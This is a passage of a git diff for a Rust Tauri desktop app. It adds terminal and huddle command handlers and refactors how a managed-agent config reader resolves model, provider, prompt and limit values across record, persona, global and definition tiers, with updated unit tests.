runtime, using default: {error}"); } } - let builder = tauri::Builder::default() .plugin(tauri_plugin_single_instance::init(|app, argv, _cwd| { // Focus the existing window when a duplicate instance launches. @@ -286,10 +290,7 @@ pub fn run() { builder.plugin(tauri_plugin_updater::Builder::new().build()) }; - #[cfg(not(buzz_updater_enabled))] - let builder = builder; - - let app = builder + let app = app_menu::install(builder) .register_asynchronous_uri_scheme_protocol("buzz-media", |ctx, request, responder| { let app = ctx.app_handle().clone(); tauri::async_runtime::spawn(async move { @@ -303,6 +304,7 @@ pub fn run() { .manage(BuilderlabSession::default()) .manage(BuilderlabLogin::default()) .manage(commands::pairing::PairingHandle::new()) + .manage(terminal_runtime::TerminalSessions::default()) .setup(move |app| { let app_handle = app.handle().clone(); #[cfg(target_os = "macos")] @@ -594,10 +596,18 @@ pub fn run() { } }); } - Ok(()) }) .invoke_handler(tauri::generate_handler![ + terminal_runtime::terminal_attach, + terminal_runtime::terminal_detach, + terminal_runtime::terminal_close, + terminal_runtime::terminal_input, + terminal_runtime::terminal_resize, + terminal_runtime::terminal_scroll, + terminal_runtime::terminal_ack, + terminal_runtime::terminal_viewport_ready, + terminal_runtime::terminal_focus, take_pending_community_deep_link, acknowledge_pending_community_deep_link, start_builderlab_login, @@ -713,6 +723,8 @@ pub fn run() { pick_and_upload_media, pick_and_upload_image, upload_media_bytes, + upload_media_bytes_raw, + cancel_media_upload, download_image, save_png_data_url, download_file, @@ -820,6 +832,8 @@ pub fn run() { leave_huddle, end_huddle, get_huddle_state, + close_huddle_companion, + open_huddle_window, push_audio_pcm, reconnect_huddle_audio, start_stt_pipeline, @@ -835,8 +849,12 @@ pub fn run() { huddle::tts_settings::delete_pocket_voice, huddle::message_read_aloud::speak_message_read_aloud, huddle::message_read_aloud::stop_message_read_aloud, + huddle::agent_voice::ensure_huddle_agent_voice_settings, + huddle::agent_voice::set_huddle_agent_tts_enabled, + huddle::agent_voice::set_huddle_agent_voice, speak_agent_message, add_agent_to_huddle, + huddle::agents::sync_agents_to_active_huddle, check_pipeline_hotstart, confirm_huddle_active, perform_sidebar_default_haptic, @@ -883,7 +901,6 @@ pub fn run() { ]) .build(tauri::generate_context!()) .expect("error while building tauri application"); - let shutdown_done = Arc::new(AtomicBool::new(false)); #[cfg(unix)] @@ -908,6 +925,29 @@ pub fn run() { } } } + RunEvent::WindowEvent { + label, + event: WindowEvent::CloseRequested { .. }, + .. + } if label.starts_with("huddle-") => { + let is_active_huddle_window = + app_handle + .state::() + .huddle() + .ok() + .is_some_and(|huddle| { + !matches!(huddle.phase, HuddlePhase::Idle | HuddlePhase::Leaving) + && huddle + .ephemeral_channel_id + .as_deref() + .is_some_and(|channel_id| label == format!("huddle-{channel_id}")) + }); + if is_active_huddle_window { + if let Err(error) = app_handle.emit("huddle-companion-returned", ()) { + eprintln!("buzz-desktop: failed to restore huddle drawer: {error}"); + } + } + } RunEvent::ExitRequested { code, .. } => { if is_restart_request(code) { restart_requested.store(true, Ordering::SeqCst); diff --git a/desktop/src-tauri/src/managed_agents/config_bridge/reader.rs b/desktop/src-tauri/src/managed_agents/config_bridge/reader.rs index 372d2cfde1..c51f325cf3 100644 --- a/desktop/src-tauri/src/managed_agents/config_bridge/reader.rs +++ b/desktop/src-tauri/src/managed_agents/config_bridge/reader.rs @@ -3,15 +3,17 @@ use crate::managed_agents::types::ManagedAgentRecord; use super::types::*; -/// Build the full config surface for an agent, merging all four tiers. +/// Build the full config surface for an agent, merging all tiers. /// -/// Pre-spawn (no session cache): tiers 2a (env vars / record) and 2b (config files). -/// Post-spawn (session cache present): adds tiers 1a (ACP native) and 1b (ACP configOptions). +/// Inherited values flow through `tiers` — a sanitized snapshot of the +/// persona and global tiers assembled at the command boundary. Each field +/// builder constructs its own candidate list and resolves via +/// `resolve_with_override`. pub(crate) fn read_config_surface( record: &ManagedAgentRecord, runtime_meta: Option<&KnownAcpRuntime>, session_cache: Option<&SessionConfigCache>, - baseline: Option<(&str, ConfigOrigin)>, + tiers: &InheritedConfigTiers, ) -> RuntimeConfigSurface { let is_pre_spawn = session_cache.is_none(); @@ -27,14 +29,7 @@ pub(crate) fn read_config_surface( }) .unwrap_or_else(|| (RuntimeFileConfig::default(), false)); - // Tier 2a: record-level values (Buzz-explicit). - let record_model = record.model.clone(); - let record_provider = record - .env_vars - .get(runtime_meta.and_then(|m| m.provider_env_var).unwrap_or("")) - .cloned() - .or_else(|| record.provider.clone()); // structured provider field as fallback - + // Runtime-specific env var keys. let supports_acp_model = runtime_meta.is_some_and(|m| m.supports_acp_model_switching); let model_env_var = runtime_meta.and_then(|m| m.model_env_var); let provider_env_var = runtime_meta.and_then(|m| m.provider_env_var); @@ -48,10 +43,6 @@ pub(crate) fn read_config_surface( let context_limit_env_var = runtime_meta.and_then(|m| m.context_limit_env_var); // Tier 1b: ACP configOptions from session cache. - // For unstable/switchable agents, current_model comes from the `models` - // field. For stable agents that only report model via configOptions - // (category="model", current_value), fall back to find_config_option_value - // so their current model is surfaced in the panel. let acp_model = session_cache.and_then(|c| { c.current_model .clone() @@ -59,61 +50,53 @@ pub(crate) fn read_config_surface( }); let acp_mode = session_cache.and_then(|c| find_config_option_value(c, "mode")); let acp_effort = session_cache.and_then(|c| find_config_option_value(c, "effort")); - let record_effort = thinking_env_var - .and_then(|k| record.env_vars.get(k)) - .cloned(); let model_overridden = session_cache.is_some_and(|c| c.model_overridden); let normalized = NormalizedConfig { - model: Some(apply_runtime_override( - build_model_field( - &record_model, - &file_config.model, - &acp_model, - model_env_var, - supports_acp_model, - is_pre_spawn, - session_cache, - required_fields.contains(&"model"), - ), - acp_model.as_deref(), - baseline, + model: Some(build_model_field( + record, + &file_config.model, + &acp_model, + model_env_var, + supports_acp_model, + is_pre_spawn, + session_cache, + required_fields.contains(&"model"), model_overridden, + tiers, )), provider: build_provider_field( - &record_provider, + record, &file_config.provider, provider_env_var, provider_locked, required_fields.contains(&"provider"), + tiers, ), mode: build_mode_field(&file_config.mode, &acp_mode, is_pre_spawn, session_cache), thinking_effort: build_thinking_field( - &record_effort, + record, &file_config.thinking_effort, &acp_effort, thinking_env_var, is_pre_spawn, session_cache, + tiers, ), max_output_tokens: build_numeric_env_field( max_tokens_env_var, - &record.env_vars, + record, &file_config.max_output_tokens, + tiers, ), context_limit: build_numeric_env_field( context_limit_env_var, - &record.env_vars, + record, &file_config.context_limit, + tiers, ), - system_prompt: build_system_prompt_field( - &record - .system_prompt - .clone() - .or_else(|| record.env_vars.get("BUZZ_ACP_SYSTEM_PROMPT").cloned()), - &file_config.system_prompt, - ), + system_prompt: build_system_prompt_field(record, &file_config.system_prompt, tiers), }; // Advanced fields from config file extras. @@ -130,7 +113,7 @@ pub(crate) fn read_config_surface( }) .collect(); - // Collect the env var keys already covered by normalized fields so we don't double-surface them. + // Collect the env var keys already covered by normalized fields. let normalized_env_keys: Vec<&str> = [ model_env_var, provider_env_var, @@ -144,15 +127,13 @@ pub(crate) fn read_config_surface( .collect(); // Tier 2a: remaining env vars not covered by normalized fields. - // Env var wins over config file for the same key (tier 2a > 2b), so skip - // keys already present in file_config.extra. let mut advanced = advanced; for (k, v) in &record.env_vars { if normalized_env_keys.contains(&k.as_str()) { continue; } if file_config.extra.contains_key(k) { - continue; // config file already surfaced this key + continue; } advanced.push(ConfigField { key: k.clone(), @@ -178,8 +159,6 @@ pub(crate) fn read_config_surface( { ConfigTierStatus::Available } else { - // Post-spawn without native config data is also Pending — it arrives - // asynchronously after the session/new response. ConfigTierStatus::Pending } } else { @@ -226,9 +205,27 @@ fn mcp_config_file_path_for_runtime(runtime: &KnownAcpRuntime) -> Option } } +/// Extract an env-backed candidate value for `env_key` from each tier in +/// spawn precedence: record env > persona env > global env > definition env. +/// Returns `[record, persona, global, definition]` — `None` when key is absent. +fn env_candidates<'a>( + env_key: &str, + record_env: &'a std::collections::BTreeMap, + persona_env: &'a std::collections::BTreeMap, + global_env: &'a std::collections::BTreeMap, + definition_env: &'a std::collections::BTreeMap, +) -> [Option<&'a str>; 4] { + [ + record_env.get(env_key).map(String::as_str), + persona_env.get(env_key).map(String::as_str), + global_env.get(env_key).map(String::as_str), + definition_env.get(env_key).map(String::as_str), + ] +} + #[allow(clippy::too_many_arguments)] fn build_model_field( - record_model: &Option, + record: &ManagedAgentRecord, file_model: &Option, acp_model: &Option, model_env_var: Option<&str>, @@ -236,30 +233,109 @@ fn build_model_field( is_pre_spawn: bool, session_cache: Option<&SessionConfigCache>, is_required: bool, + model_overridden: bool, + tiers: &InheritedConfigTiers, ) -> NormalizedField { - // Precedence: Buzz-explicit > ACP current > config file - let (value, origin) = if let Some(ref m) = record_model { - (Some(m.clone()), ConfigOrigin::BuzzExplicit) - } else if let Some(ref m) = acp_model { - (Some(m.clone()), ConfigOrigin::AcpConfigOption) - } else if let Some(ref m) = file_model { - (Some(m.clone()), ConfigOrigin::ConfigFile) - } else { - // No value from any tier. EnvVar is the sentinel origin for "no value - // resolved" — there is no dedicated None-origin variant. The panel - // renders this as an empty/absent field. - (None, ConfigOrigin::EnvVar) - }; + let [rec_env, pers_env, glob_env, def_env] = model_env_var + .map(|k| { + env_candidates( + k, + &record.env_vars, + &tiers.persona_env, + &tiers.global_env, + &tiers.definition_env, + ) + }) + .unwrap_or([None, None, None, None]); + + // Structured record model (definition-less only; linked cleared upstream). + let struct_record = record.model.as_deref(); + let struct_persona = tiers.persona_model.as_deref(); + let struct_global = tiers.global_model.as_deref(); + + // Configured candidates in spawn order: record env > persona env > global env > + // definition env > struct record > struct persona > struct global > file. + // The file entry is always last; everything before it is a "configured" candidate + // that gates whether ACP participates as a fallback (see any_configured below). + let configured: &[(Option<&str>, ConfigOrigin)] = &[ + (rec_env, ConfigOrigin::BuzzExplicit), + (pers_env, ConfigOrigin::PersonaDefault), + (glob_env, ConfigOrigin::GlobalDefault), + (def_env, ConfigOrigin::HarnessDefault), + (struct_record, ConfigOrigin::BuzzExplicit), + (struct_persona, ConfigOrigin::PersonaDefault), + (struct_global, ConfigOrigin::GlobalDefault), + (file_model.as_deref(), ConfigOrigin::ConfigFile), + ]; + // "Configured" = any non-file candidate. The file entry is always last, so + // slicing to len()-1 is equivalent to the old magic `[..6]` and stays correct + // if the array ever grows again. + let any_configured = configured[..configured.len() - 1] + .iter() + .any(|(v, _)| v.is_some()); + + // When model_overridden is true and ACP is present, ACP is the live winner. + // The top configured candidate becomes the secondary (the overridden baseline). + // Equal-value case: ACP == baseline → fall through to normal resolution so + // the field carries the correct baseline origin rather than RuntimeOverride. + if model_overridden { + if let Some(acp) = acp_model.as_deref() { + let baseline = configured.iter().find(|(v, _)| v.is_some()); + match baseline { + Some((Some(baseline_value), _)) if acp == *baseline_value => { + // Equal-value switch: no real divergence. + // Fall through to the normal resolve path below — it will + // return the same value with its true baseline origin, with + // no secondary row. + } + Some((Some(baseline_value), baseline_origin)) => { + return NormalizedField { + value: Some(acp.to_string()), + origin: ConfigOrigin::RuntimeOverride, + write_via: model_write_mechanism( + is_pre_spawn, + supports_acp_model, + session_cache, + model_env_var, + ), + overridden_value: Some(baseline_value.to_string()), + overridden_origin: Some(baseline_origin.clone()), + is_required, + }; + } + _ => { + // No configured baseline — ACP is the only source. + return NormalizedField { + value: Some(acp.to_string()), + origin: ConfigOrigin::RuntimeOverride, + write_via: model_write_mechanism( + is_pre_spawn, + supports_acp_model, + session_cache, + model_env_var, + ), + overridden_value: None, + overridden_origin: None, + is_required, + }; + } + } + } + } - // The secondary expresses ONLY the static record-vs-file precedence: a - // Buzz-explicit model shadowing a config-file model. The live-session - // override (acp vs record/persona) is exclusively `apply_runtime_override`'s - // job, gated on `model_overridden`. Surfacing `acp_model` here would leak an - // override row even when no live switch has been applied. - let (overridden_value, overridden_origin) = if record_model.is_some() && file_model.is_some() { - (file_model.clone(), Some(ConfigOrigin::ConfigFile)) + let (value, origin, overridden_value, overridden_origin) = if !any_configured { + // No configured candidate: ACP participates as AcpConfigOption fallback. + let full: &[(Option<&str>, ConfigOrigin)] = &[ + (acp_model.as_deref(), ConfigOrigin::AcpConfigOption), + (file_model.as_deref(), ConfigOrigin::ConfigFile), + ]; + resolve_with_override(full).unwrap_or((None, ConfigOrigin::EnvVar, None, None)) } else { - (None, None) + // ACP excluded: a configured value is pending and wins over live ACP. + match resolve_with_override(configured) { + Some(r) => r, + None => (None, ConfigOrigin::EnvVar, None, None), + } }; let write_via = model_write_mechanism( @@ -280,7 +356,6 @@ fn build_model_field( } /// Resolve how the model field is written back to the runtime. -/// Prefer ACP `set_config_option`/`set_model` post-spawn, else env-var respawn. fn model_write_mechanism( is_pre_spawn: bool, supports_acp_model: bool, @@ -301,67 +376,13 @@ fn model_write_mechanism( } } -/// Re-key the model field as a live runtime override when the harness signals -/// that a `SwitchModel` control signal set the model (Phase 3c). -/// -/// The override-active signal is `model_overridden` from the -/// `session_config_captured` payload — NOT `acp_model != persona_model`, which -/// would false-positive when a persona model is edited mid-life while the -/// session is stale on the old model. -/// -/// `baseline` is the value the live model overrides, paired with its true -/// origin — `(persona_model, PersonaDefault)` for a persona-linked agent, or -/// `(record_model, BuzzExplicit)` for a genuine-explicit agent that live- -/// switched. It is `Some` only when there is such a baseline to override -/// against; otherwise the field passes through unchanged. Carrying the origin -/// in the pair (rather than hardcoding it) lets the secondary be tagged by its -/// real source instead of always reading `PersonaDefault`. -/// -/// The `acp == baseline_value` short-circuit keeps a live pick of the baseline -/// model itself from rendering a no-op "override of X with X". It yields a -/// CLEAN single-value field — `overridden_value`/`overridden_origin` cleared — -/// rather than passing `base` through, because `build_model_field` already -/// populates `base`'s secondary with an `AcpConfigOption` row for the -/// record-model-plus-live-session case; returning `base` would leak that -/// spurious row. The override preserves the base field's write mechanism — only -/// the displayed value, origin, and secondary change. -fn apply_runtime_override( - base: NormalizedField, - acp_model: Option<&str>, - baseline: Option<(&str, ConfigOrigin)>, - model_overridden: bool, -) -> NormalizedField { - if !model_overridden { - return base; - } - let (Some(acp), Some((baseline_value, baseline_origin))) = (acp_model, baseline) else { - return base; - }; - if acp == baseline_value { - // Live pick equals the baseline — no real divergence. Strip any - // secondary `build_model_field` may have produced so the panel shows a - // single clean value rather than "X overridden by X". - return NormalizedField { - overridden_value: None, - overridden_origin: None, - ..base - }; - } - NormalizedField { - value: Some(acp.to_string()), - origin: ConfigOrigin::RuntimeOverride, - overridden_value: Some(baseline_value.to_string()), - overridden_origin: Some(baseline_origin), - ..base - } -} - fn build_provider_field( - record_provider: &Option, + record: &ManagedAgentRecord, file_provider: &Option, provider_env_var: Option<&str>, provider_locked: bool, is_required: bool, + tiers: &InheritedConfigTiers, ) -> Option { if provider_locked { return Some(NormalizedField { @@ -374,15 +395,43 @@ fn build_provider_field( }); } - let tiers: &[(Option<&str>, ConfigOrigin)] = &[ - (record_provider.as_deref(), ConfigOrigin::BuzzExplicit), + let [rec_env, pers_env, glob_env, def_env] = provider_env_var + .map(|k| { + env_candidates( + k, + &record.env_vars, + &tiers.persona_env, + &tiers.global_env, + &tiers.definition_env, + ) + }) + .unwrap_or([None, None, None, None]); + + let struct_record = record.provider.as_deref(); + + let tiers_list: &[(Option<&str>, ConfigOrigin)] = &[ + (rec_env, ConfigOrigin::BuzzExplicit), + (pers_env, ConfigOrigin::PersonaDefault), + (glob_env, ConfigOrigin::GlobalDefault), + (def_env, ConfigOrigin::HarnessDefault), + (struct_record, ConfigOrigin::BuzzExplicit), + ( + tiers.persona_provider.as_deref(), + ConfigOrigin::PersonaDefault, + ), + ( + tiers.global_provider.as_deref(), + ConfigOrigin::GlobalDefault, + ), (file_provider.as_deref(), ConfigOrigin::ConfigFile), ]; - let (value, origin, overridden_value, overridden_origin) = match resolve_with_override(tiers) { - Some(resolved) => resolved, - None if is_required => (None, ConfigOrigin::EnvVar, None, None), - None => return None, - }; + + let (value, origin, overridden_value, overridden_origin) = + match resolve_with_override(tiers_list) { + Some(resolved) => resolved, + None if is_required => (None, ConfigOrigin::EnvVar, None, None), + None => return None, + }; let write_via = if let Some(env_key) = provider_env_var { ConfigWriteMechanism::RespawnWithEnvVar { @@ -432,20 +481,38 @@ fn build_mode_field( }) } +#[allow(clippy::too_many_arguments)] fn build_thinking_field( - record_effort: &Option, + record: &ManagedAgentRecord, file_effort: &Option, acp_effort: &Option, thinking_env_var: Option<&str>, is_pre_spawn: bool, session_cache: Option<&SessionConfigCache>, + tiers: &InheritedConfigTiers, ) -> Option { - let tiers: &[(Option<&str>, ConfigOrigin)] = &[ - (record_effort.as_deref(), ConfigOrigin::BuzzExplicit), + // Tier ordering: record env > ACP > persona env > global env > definition env > config file. + let [rec_env, pers_env, glob_env, def_env] = thinking_env_var + .map(|k| { + env_candidates( + k, + &record.env_vars, + &tiers.persona_env, + &tiers.global_env, + &tiers.definition_env, + ) + }) + .unwrap_or([None, None, None, None]); + + let tiers_list: &[(Option<&str>, ConfigOrigin)] = &[ + (rec_env, ConfigOrigin::BuzzExplicit), (acp_effort.as_deref(), ConfigOrigin::AcpConfigOption), + (pers_env, ConfigOrigin::PersonaDefault), + (glob_env, ConfigOrigin::GlobalDefault), + (def_env, ConfigOrigin::HarnessDefault), (file_effort.as_deref(), ConfigOrigin::ConfigFile), ]; - let (value, origin, overridden_value, overridden_origin) = resolve_with_override(tiers)?; + let (value, origin, overridden_value, overridden_origin) = resolve_with_override(tiers_list)?; let write_via = if !is_pre_spawn && has_config_option(session_cache, "effort") { ConfigWriteMechanism::AcpSetConfigOption { @@ -469,67 +536,105 @@ fn build_thinking_field( }) } -/// Numeric fields (max_output_tokens, context_limit) — env-var tier wins over -/// config-file tier. When an env var key is given and present in the record's -/// env_vars map the field is BuzzExplicit + RespawnWithEnvVar; otherwise if the -/// config file supplied a value it is ConfigFile + ReadOnly; otherwise None. +/// Numeric fields (max_output_tokens, context_limit). +/// Tier ordering: record env > persona env > global env > config file. fn build_numeric_env_field( env_var: Option<&'static str>, - record_env: &std::collections::BTreeMap, + record: &ManagedAgentRecord, file_value: &Option, + tiers: &InheritedConfigTiers, ) -> Option { - if let Some(key) = env_var { - if let Some(v) = record_env.get(key) { - return Some(NormalizedField { - value: Some(v.clone()), - origin: ConfigOrigin::BuzzExplicit, - write_via: ConfigWriteMechanism::RespawnWithEnvVar { - env_key: key.to_string(), - }, - overridden_value: file_value.clone(), - overridden_origin: file_value.as_ref().map(|_| ConfigOrigin::ConfigFile), - is_required: false, - }); + let [rec_env, pers_env, glob_env, def_env] = env_var + .map(|k| { + env_candidates( + k, + &record.env_vars, + &tiers.persona_env, + &tiers.global_env, + &tiers.definition_env, + ) + }) + .unwrap_or([None, None, None, None]); + + let tiers_list: &[(Option<&str>, ConfigOrigin)] = &[ + (rec_env, ConfigOrigin::BuzzExplicit), + (pers_env, ConfigOrigin::PersonaDefault), + (glob_env, ConfigOrigin::GlobalDefault), + (def_env, ConfigOrigin::HarnessDefault), + (file_value.as_deref(), ConfigOrigin::ConfigFile), + ]; + + let (value, origin, overridden_value, overridden_origin) = resolve_with_override(tiers_list)?; + + let write_via = if let Some(key) = env_var { + ConfigWriteMechanism::RespawnWithEnvVar { + env_key: key.to_string(), } - } - file_value.as_ref().map(|v| NormalizedField { - value: Some(v.clone()), - origin: ConfigOrigin::ConfigFile, - write_via: ConfigWriteMechanism::ReadOnly, - overridden_value: None, - overridden_origin: None, + } else { + ConfigWriteMechanism::ReadOnly + }; + + Some(NormalizedField { + value, + origin, + write_via, + overridden_value, + overridden_origin, is_required: false, }) } -/// Record/env prompt wins (BuzzExplicit, respawnable); a config-file prompt it -/// shadows is reported as the overridden secondary. A config-file-only prompt -/// — no record/env value to shadow it — is surfaced directly (read-only) -/// instead of being dropped: a prompt that drives the agent should always be -/// visible somewhere in the panel. +/// System prompt field. +/// +/// Tier ordering per v3 plan: record env > persona env > global env > +/// struct record > struct persona > config file. +/// +/// Env tiers sit above structured per spawn contract: `descriptor.env` is +/// written last (after the structured prompt), so env wins on collision. +/// `GlobalAgentConfig` has no structured system_prompt, so the global tier +/// is env-only. `BUZZ_ACP_SYSTEM_PROMPT` is not reserved and is therefore +/// a real global env tier. fn build_system_prompt_field( - record_prompt: &Option, + record: &ManagedAgentRecord, file_prompt: &Option, + tiers: &InheritedConfigTiers, ) -> Option { - if let Some(v) = record_prompt { - return Some(NormalizedField { - value: Some(v.clone()), - origin: ConfigOrigin::BuzzExplicit, - write_via: ConfigWriteMechanism::RespawnWithEnvVar { - env_key: "BUZZ_ACP_SYSTEM_PROMPT".to_string(), - }, - overridden_value: file_prompt.clone(), - overridden_origin: file_prompt.as_ref().map(|_| ConfigOrigin::ConfigFile), - is_required: false, - }); - } + const PROMPT_ENV_KEY: &str = "BUZZ_ACP_SYSTEM_PROMPT"; + + let [rec_env, pers_env, glob_env, def_env] = env_candidates( + PROMPT_ENV_KEY, + &record.env_vars, + &tiers.persona_env, + &tiers.global_env, + &tiers.definition_env, + ); + + // Structured record prompt (definition-less only; linked cleared upstream). + let struct_record = record.system_prompt.as_deref(); + + let tiers_list: &[(Option<&str>, ConfigOrigin)] = &[ + (rec_env, ConfigOrigin::BuzzExplicit), // record env + (pers_env, ConfigOrigin::PersonaDefault), // persona env + (glob_env, ConfigOrigin::GlobalDefault), // global env + (def_env, ConfigOrigin::HarnessDefault), // definition env + (struct_record, ConfigOrigin::BuzzExplicit), // struct record + ( + tiers.persona_prompt.as_deref(), + ConfigOrigin::PersonaDefault, + ), // struct persona + (file_prompt.as_deref(), ConfigOrigin::ConfigFile), + ]; - file_prompt.as_ref().map(|v| NormalizedField { - value: Some(v.clone()), - origin: ConfigOrigin::ConfigFile, - write_via: ConfigWriteMechanism::ReadOnly, - overridden_value: None, - overridden_origin: None, + let (value, origin, overridden_value, overridden_origin) = resolve_with_override(tiers_list)?; + + Some(NormalizedField { + value, + origin, + write_via: ConfigWriteMechanism::RespawnWithEnvVar { + env_key: PROMPT_ENV_KEY.to_string(), + }, + overridden_value, + overridden_origin, is_required: false, }) } diff --git a/desktop/src-tauri/src/managed_agents/config_bridge/reader_tests.rs b/desktop/src-tauri/src/managed_agents/config_bridge/reader_tests.rs index 4ee4ec79c3..62caffeb2e 100644 --- a/desktop/src-tauri/src/managed_agents/config_bridge/reader_tests.rs +++ b/desktop/src-tauri/src/managed_agents/config_bridge/reader_tests.rs @@ -56,6 +56,7 @@ fn test_runtime() -> &'static KnownAcpRuntime { thinking_env_var: Some("GOOSE_THINKING_EFFORT"), max_tokens_env_var: Some("GOOSE_MAX_TOKENS"), context_limit_env_var: Some("GOOSE_CONTEXT_LIMIT"), + max_rounds_env_var: None, required_normalized_fields: &["model", "provider"], login_hint: None, auth_probe_args: None, @@ -120,11 +121,53 @@ fn test_record() -> ManagedAgentRecord { } } +/// Default empty tiers: no persona or global inheritance. +fn no_tiers() -> InheritedConfigTiers { + InheritedConfigTiers::default() +} + +/// Tiers with only global env set (for AC-1 style tests). +fn global_env_tiers(key: &str, val: &str) -> InheritedConfigTiers { + let mut global_env = BTreeMap::new(); + global_env.insert(key.to_string(), val.to_string()); + InheritedConfigTiers { + global_env, + ..Default::default() + } +} + +/// Tiers with only persona env set. +fn persona_env_tiers(key: &str, val: &str) -> InheritedConfigTiers { + let mut persona_env = BTreeMap::new(); + persona_env.insert(key.to_string(), val.to_string()); + InheritedConfigTiers { + persona_env, + ..Default::default() + } +} + +/// Tiers with both persona and global env set for the same key. +fn persona_and_global_env_tiers( + key: &str, + persona_val: &str, + global_val: &str, +) -> InheritedConfigTiers { + let mut persona_env = BTreeMap::new(); + persona_env.insert(key.to_string(), persona_val.to_string()); + let mut global_env = BTreeMap::new(); + global_env.insert(key.to_string(), global_val.to_string()); + InheritedConfigTiers { + persona_env, + global_env, + ..Default::default() + } +} + #[test] fn pre_spawn_surface_reports_pending_acp_tiers() { let record = test_record(); let runtime = test_runtime(); - let surface = read_config_surface(&record, Some(runtime), None, None); + let surface = read_config_surface(&record, Some(runtime), None, &no_tiers()); assert!(surface.is_pre_spawn); assert_eq!(surface.sources.acp_native, ConfigTierStatus::Pending); @@ -140,7 +183,7 @@ fn surface_reports_mcp_specific_config_path() { let record = test_record(); let runtime = test_runtime(); let surface = with_goose_path_root(None, || { - read_config_surface(&record, Some(runtime), None, None) + read_config_surface(&record, Some(runtime), None, &no_tiers()) }); let path = surface @@ -159,7 +202,7 @@ fn goose_mcp_config_path_follows_path_root_override() { let record = test_record(); let runtime = test_runtime(); let surface = with_goose_path_root(Some("/tmp/buzz-goose-root"), || { - read_config_surface(&record, Some(runtime), None, None) + read_config_surface(&record, Some(runtime), None, &no_tiers()) }); let expected_path = Path::new("/tmp/buzz-goose-root") @@ -183,7 +226,7 @@ fn claude_surface_uses_mcp_config_path_not_settings_path() { config_file_path: Some("~/.claude/settings.json"), ..*test_runtime() }; - let surface = read_config_surface(&record, Some(runtime), None, None); + let surface = read_config_surface(&record, Some(runtime), None, &no_tiers()); assert!(surface .sources @@ -203,7 +246,7 @@ fn record_model_overrides_file_model() { record.model = Some("explicit-model".to_string()); let runtime = test_runtime(); - let surface = read_config_surface(&record, Some(runtime), None, None); + let surface = read_config_surface(&record, Some(runtime), None, &no_tiers()); let model = surface.normalized.model.unwrap(); assert_eq!(model.value.as_deref(), Some("explicit-model")); assert_eq!(model.origin, ConfigOrigin::BuzzExplicit); @@ -216,7 +259,7 @@ fn provider_locked_shows_locked() { provider_locked: true, ..*test_runtime() }; - let surface = read_config_surface(&record, Some(runtime), None, None); + let surface = read_config_surface(&record, Some(runtime), None, &no_tiers()); let provider = surface.normalized.provider.unwrap(); assert_eq!(provider.value.as_deref(), Some("Anthropic (locked)")); assert_eq!(provider.origin, ConfigOrigin::HarnessConstraint); @@ -242,7 +285,7 @@ fn post_spawn_with_model_config_option_uses_acp() { captured_at: "".to_string(), }; - let surface = read_config_surface(&record, Some(runtime), Some(&cache), None); + let surface = read_config_surface(&record, Some(runtime), Some(&cache), &no_tiers()); assert!(!surface.is_pre_spawn); let model = surface.normalized.model.unwrap(); assert_eq!(model.value.as_deref(), Some("claude-opus-4")); @@ -266,53 +309,86 @@ fn acp_model_overrides_file_model_with_override_tracking() { captured_at: "".to_string(), }; - let surface = read_config_surface(&record, Some(runtime), Some(&cache), None); + let surface = read_config_surface(&record, Some(runtime), Some(&cache), &no_tiers()); let model = surface.normalized.model.unwrap(); assert_eq!(model.value.as_deref(), Some("acp-model")); assert_eq!(model.origin, ConfigOrigin::AcpConfigOption); - // The goose config file might have a model too — since we can't control - // the actual file in a unit test, just verify the override fields are populated - // when we manually construct the scenario via build_model_field. } -// ── Persona resolution integration tests ──────────────────────────── -// -// These simulate the call-site pattern in agent_config.rs: -// 1. Inject persona-resolved values into the record (as if absent) -// 2. Call read_config_surface (reader tags them BuzzExplicit) -// 3. Re-tag injected fields to PersonaDefault +// ── Persona / global tier integration tests ────────────────────────────────── // -// This exercises the same logic path as get_agent_config_surface without -// requiring Tauri AppHandle/State infrastructure. +// These exercise the tiers-based candidate resolution for model, provider, and +// system_prompt via `InheritedConfigTiers` — replacing the old inject+retag +// simulation tests. #[test] -fn persona_model_injection_produces_persona_default_origin() { - let mut record = test_record(); - // Simulate: record has no model, persona provides one. - // The call-site injects it before calling the reader. - record.model = Some("persona-model".to_string()); +fn persona_model_tier_produces_persona_default_origin() { + let record = test_record(); // no record.model let runtime = test_runtime(); + let tiers = InheritedConfigTiers { + persona_model: Some("persona-model".to_string()), + ..Default::default() + }; - let mut surface = read_config_surface(&record, Some(runtime), None, None); + let surface = read_config_surface(&record, Some(runtime), None, &tiers); - // Reader sees injected model as BuzzExplicit. - let model = surface.normalized.model.as_ref().unwrap(); + let model = surface.normalized.model.unwrap(); assert_eq!(model.value.as_deref(), Some("persona-model")); - assert_eq!(model.origin, ConfigOrigin::BuzzExplicit); + assert_eq!(model.origin, ConfigOrigin::PersonaDefault); +} - // Call-site re-tags (simulating had_model == false). - if let Some(ref mut field) = surface.normalized.model { - if field.origin == ConfigOrigin::BuzzExplicit { - field.origin = ConfigOrigin::PersonaDefault; - } - } +#[test] +fn global_model_tier_produces_global_default_origin() { + let record = test_record(); + let runtime = test_runtime(); + let tiers = InheritedConfigTiers { + global_model: Some("global-model".to_string()), + ..Default::default() + }; + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); let model = surface.normalized.model.unwrap(); - assert_eq!(model.value.as_deref(), Some("persona-model")); - assert_eq!(model.origin, ConfigOrigin::PersonaDefault); + assert_eq!(model.value.as_deref(), Some("global-model")); + assert_eq!(model.origin, ConfigOrigin::GlobalDefault); +} + +#[test] +fn persona_provider_tier_produces_persona_default_origin() { + let record = test_record(); + let runtime = test_runtime(); + let tiers = InheritedConfigTiers { + persona_provider: Some("anthropic".to_string()), + ..Default::default() + }; + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); + + let provider = surface.normalized.provider.unwrap(); + assert_eq!(provider.value.as_deref(), Some("anthropic")); + assert_eq!(provider.origin, ConfigOrigin::PersonaDefault); } -// ── Runtime override (Phase 3c) ────────────────────────────────────── +#[test] +fn persona_prompt_tier_produces_persona_default_origin() { + let record = test_record(); + let runtime = test_runtime(); + let tiers = InheritedConfigTiers { + persona_prompt: Some("You are a helpful assistant.".to_string()), + ..Default::default() + }; + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); + + let prompt = surface.normalized.system_prompt.unwrap(); + assert_eq!( + prompt.value.as_deref(), + Some("You are a helpful assistant.") + ); + assert_eq!(prompt.origin, ConfigOrigin::PersonaDefault); +} + +// ── Runtime override (model_overridden gate) ────────────────────────────────── // // A live ModelPicker switch is signalled by `model_overridden: true` in the // `session_config_captured` payload. The reader keys the override-active @@ -321,7 +397,7 @@ fn persona_model_injection_produces_persona_default_origin() { #[test] fn 